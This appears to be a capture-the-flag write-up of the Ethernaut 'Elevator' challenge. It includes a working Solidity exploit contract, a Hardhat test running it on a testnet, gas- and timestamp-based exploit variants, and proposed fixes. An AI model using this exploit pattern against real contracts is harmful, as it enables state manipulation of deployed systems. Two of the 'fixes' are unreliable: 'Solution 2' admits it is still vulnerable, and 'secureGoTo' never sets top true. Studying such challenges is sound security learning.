Appearance
Exploiting State-Dependent Logic: A Deep Dive into the Ethernaut "Elevator" Challenge
Introduction
Smart contract security remains one of the most critical aspects of blockchain development, with even seemingly simple contracts harboring subtle vulnerabilities. The Ethernaut "Elevator" challenge presents a classic example of how state-dependent external calls can be manipulated to bypass intended contract logic. This technical article will dissect the vulnerability, explore its implications, and demonstrate a practical exploitation technique.
Understanding the Challenge
The Elevator Contract
At first glance, the Elevator contract appears straightforward. It's designed to simulate an elevator system where users can request to go to specific floors, with a special condition to determine if they've reached the top. The contract maintains two state variables:
top: A boolean indicating whether the elevator has reached the top floorfloor: The current floor number
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
The Critical Vulnerability
The vulnerability lies in the goTo function's interaction pattern. The contract makes two separate calls to building.isLastFloor():
- First call: Checks if the requested floor is NOT the last floor
- Second call: Determines if the current floor IS the last floor
The crucial oversight is that isLastFloor() is not marked as view or pure, meaning it can modify state. This allows a malicious Building contract to return different values for the same input across multiple calls.
The Exploitation Principle
State-Dependent External Calls
In Solidity, when a contract calls an external function without specifying its mutability (using view or pure), it cannot guarantee that the function will behave consistently across multiple calls. This is particularly dangerous when the external function's return value influences critical logic decisions.
The Elevator contract assumes that isLastFloor() will return the same value for the same input, but this assumption is fundamentally flawed when dealing with untrusted contracts.
The Attack Vector
The attack exploits this inconsistency by creating a Building contract whose isLastFloor() function:
- Returns
falseon the first call (allowing the elevator to move) - Returns
trueon the second call (settingtopto true)
This manipulation allows an attacker to reach any floor while simultaneously setting the top flag to true, regardless of the actual floor number.
Building the Exploit Contract
The Hack Contract Structure
Let's examine the complete exploit contract:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Elevator {
function goTo(uint256 _floor) external;
function top() external view returns (bool);
}
contract Hack {
Elevator private immutable target;
uint private callCount;
constructor(address _target) {
target = Elevator(_target);
}
function runGoTo() external {
target.goTo(9999999);
require(target.top(), "Exploit failed - top not set!");
}
function isLastFloor(uint256) external returns (bool) {
callCount++;
return callCount > 1;
}
}
Key Components Explained
- State Tracking: The
callCountvariable tracks how many timesisLastFloor()has been called - Differential Response: The function returns
falseon the first call andtrueon subsequent calls - Immutable Target: The target Elevator contract address is stored as immutable for gas efficiency
- Verification: The
requirestatement ensures the exploit was successful
Execution Flow
When runGoTo() is called:
- It calls
target.goTo(9999999) - The Elevator contract calls
isLastFloor(9999999)for the first time- Returns
false(sincecallCount = 1, and1 > 1is false) - Elevator proceeds to set
floor = 9999999
- Returns
- The Elevator calls
isLastFloor(9999999)for the second time- Returns
true(sincecallCount = 2, and2 > 1is true) - Elevator sets
top = true
- Returns
- The exploit verifies that
topis now true
Testing the Exploit
Comprehensive Test Suite
The provided test suite demonstrates how to verify the exploit works correctly:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Elevator, Hack } from "../typechain-types";
describe("Elevator", function () {
describe("Elevator testnet sepolia", function () {
it("testnet sepolia Elevator", async function () {
const ELEVATOR_ADDRESS = "0x6DcE47e94Fa22F8E2d8A7FDf538602B1F86aBFd2";
const ELEVATOR_ABI = [
"function top() external view returns (bool)",
"function floor() external view returns (uint256)",
];
const challenger = await ethers.getNamedSigner("deployer");
const elevatorContract = new ethers.Contract(
ELEVATOR_ADDRESS,
ELEVATOR_ABI,
challenger
);
// Verify initial state
const TOP_DEFAULT = false;
const top_before = await elevatorContract.top();
expect(top_before).to.be.equals(TOP_DEFAULT);
const FLOOR_DEFAULT = 0;
const floor_before = await elevatorContract.floor();
expect(floor_before).to.be.equals(FLOOR_DEFAULT);
// Deploy exploit contract
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(ELEVATOR_ADDRESS)) as Hack;
await hack.waitForDeployment();
// Execute exploit
const tx = await hack.runGoTo();
await tx.wait();
// Verify successful exploitation
const TOP_UPDATED = true;
const top_after = await elevatorContract.top();
expect(top_after).to.be.equals(TOP_UPDATED);
const FLOOR_UPDATED = 9999999;
const floor_after = await elevatorContract.floor();
expect(floor_after).to.be.equals(FLOOR_UPDATED);
});
});
});
Test Execution Details
- Initial State Verification: Confirms the elevator starts at floor 0 with
top = false - Exploit Deployment: Deploys the Hack contract with the Elevator address
- Exploit Execution: Calls
runGoTo()which triggers the vulnerability - Result Verification: Confirms that
top = trueandfloor = 9999999
Security Analysis
Root Cause Analysis
The vulnerability stems from several interconnected issues:
- Untrusted External Calls: The contract accepts any address as a Building without verification
- State-Dependent Logic: The external function can return different values for identical inputs
- Missing Mutability Specifiers: The interface doesn't specify
vieworpureforisLastFloor() - Logic Assumption: The contract assumes consistent behavior from external calls
Impact Assessment
The impact of this vulnerability includes:
- State Manipulation: Attackers can arbitrarily set the
topflag - Logic Bypass: The intended floor validation is completely circumvented
- Contract Integrity: The entire business logic of the contract can be manipulated
Mitigation Strategies
Solution 1: Use View Functions
The most straightforward fix is to ensure isLastFloor() cannot modify state:
solidity
interface Building {
function isLastFloor(uint256) external view returns (bool);
}
contract ElevatorFixed {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Solution 2: Single Call Pattern
Store the result of the first call and reuse it:
solidity
contract ElevatorFixed2 {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
bool isLast = building.isLastFloor(_floor);
if (!isLast) {
floor = _floor;
top = building.isLastFloor(floor); // Still vulnerable!
}
}
}
Solution 3: Complete Trust Removal
Remove external dependency entirely:
solidity
contract ElevatorFixed3 {
bool public top;
uint256 public floor;
uint256 public constant TOP_FLOOR = 100; // Define top floor internally
function goTo(uint256 _floor) public {
require(_floor <= TOP_FLOOR, "Floor doesn't exist");
floor = _floor;
top = (_floor == TOP_FLOOR);
}
}
Solution 4: Whitelist Trusted Buildings
Only allow verified Building contracts:
solidity
contract ElevatorFixed4 {
bool public top;
uint256 public floor;
mapping(address => bool) public allowedBuildings;
address public owner;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function allowBuilding(address building) external onlyOwner {
allowedBuildings[building] = true;
}
function goTo(uint256 _floor) public {
require(allowedBuildings[msg.sender], "Building not allowed");
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Broader Implications
Design Pattern Vulnerabilities
The Elevator vulnerability represents a class of security issues common in smart contract design:
- Reentrancy Variants: While not classic reentrancy, it shares the pattern of multiple external calls with state changes between them
- Oracle Manipulation: Similar to price oracle attacks where multiple calls can return different values
- Cross-Contract State Assumptions: Assuming consistency across contract boundaries
Real-World Analogies
Similar vulnerabilities have appeared in production contracts:
- DeFi Price Oracles: Multiple price queries returning different values
- Governance Systems: Voting power calculations that can be manipulated
- Random Number Generators: Multiple calls to RNG services
Best Practices for Secure Contract Design
1. Follow the Checks-Effects-Interactions Pattern
Always structure functions to:
- Check all conditions
- Update internal state
- Make external calls
2. Specify Function Mutability
Always use view or pure when functions don't modify state:
solidity
interface SecureBuilding {
function isLastFloor(uint256) external view returns (bool);
}
3. Validate External Contracts
Implement trust mechanisms for external interactions:
solidity
abstract contract TrustedInterface {
function verifyContract(address _addr) internal virtual returns (bool);
modifier onlyTrusted(address _addr) {
require(verifyContract(_addr), "Untrusted contract");
_;
}
}
4. Use Single Source of Truth
Avoid multiple calls for the same information:
solidity
function secureGoTo(uint256 _floor) public {
Building building = Building(msg.sender);
bool lastFloorCheck = building.isLastFloor(_floor);
// Use stored value instead of calling again
if (!lastFloorCheck) {
floor = _floor;
top = lastFloorCheck; // Reuse the stored value
}
}
Advanced Exploitation Techniques
Gas-Based Manipulation
An alternative exploit could use gas manipulation:
solidity
contract GasBasedHack {
Elevator private target;
uint private callNumber;
function isLastFloor(uint256) external returns (bool) {
callNumber++;
// Manipulate behavior based on gas left
if (gasleft() > 100000) {
return false;
} else {
return true;
}
}
}
Time-Based Attacks
Exploiting block timestamps or block numbers:
solidity
contract TimeBasedHack {
Elevator private target;
function isLastFloor(uint256) external returns (bool) {
// Return different values based on block characteristics
if (block.timestamp % 2 == 0) {
return false;
} else {
return true;
}
}
}
Conclusion
The Ethernaut Elevator challenge provides a valuable lesson in smart contract security. The core vulnerability—state-dependent external calls—highlights the importance of careful interface design and the dangers of making assumptions about external contract behavior.
Key takeaways:
- Never trust external calls to behave consistently without explicit guarantees
- Always specify mutability in interfaces to prevent state modification
- Consider alternative designs that minimize or eliminate external dependencies
- Implement comprehensive testing to catch logic vulnerabilities
This vulnerability, while simple in isolation, represents a fundamental security principle: in decentralized systems, trust must be explicitly managed and verified, never assumed. As smart contracts continue to evolve in complexity, understanding and mitigating these types of vulnerabilities becomes increasingly critical for secure blockchain development.
The exploit demonstrated here serves as both a warning and a learning opportunity, emphasizing that in the world of smart contracts, even the most straightforward logic can harbor hidden dangers when interacting with the unpredictable environment of the Ethereum Virtual Machine.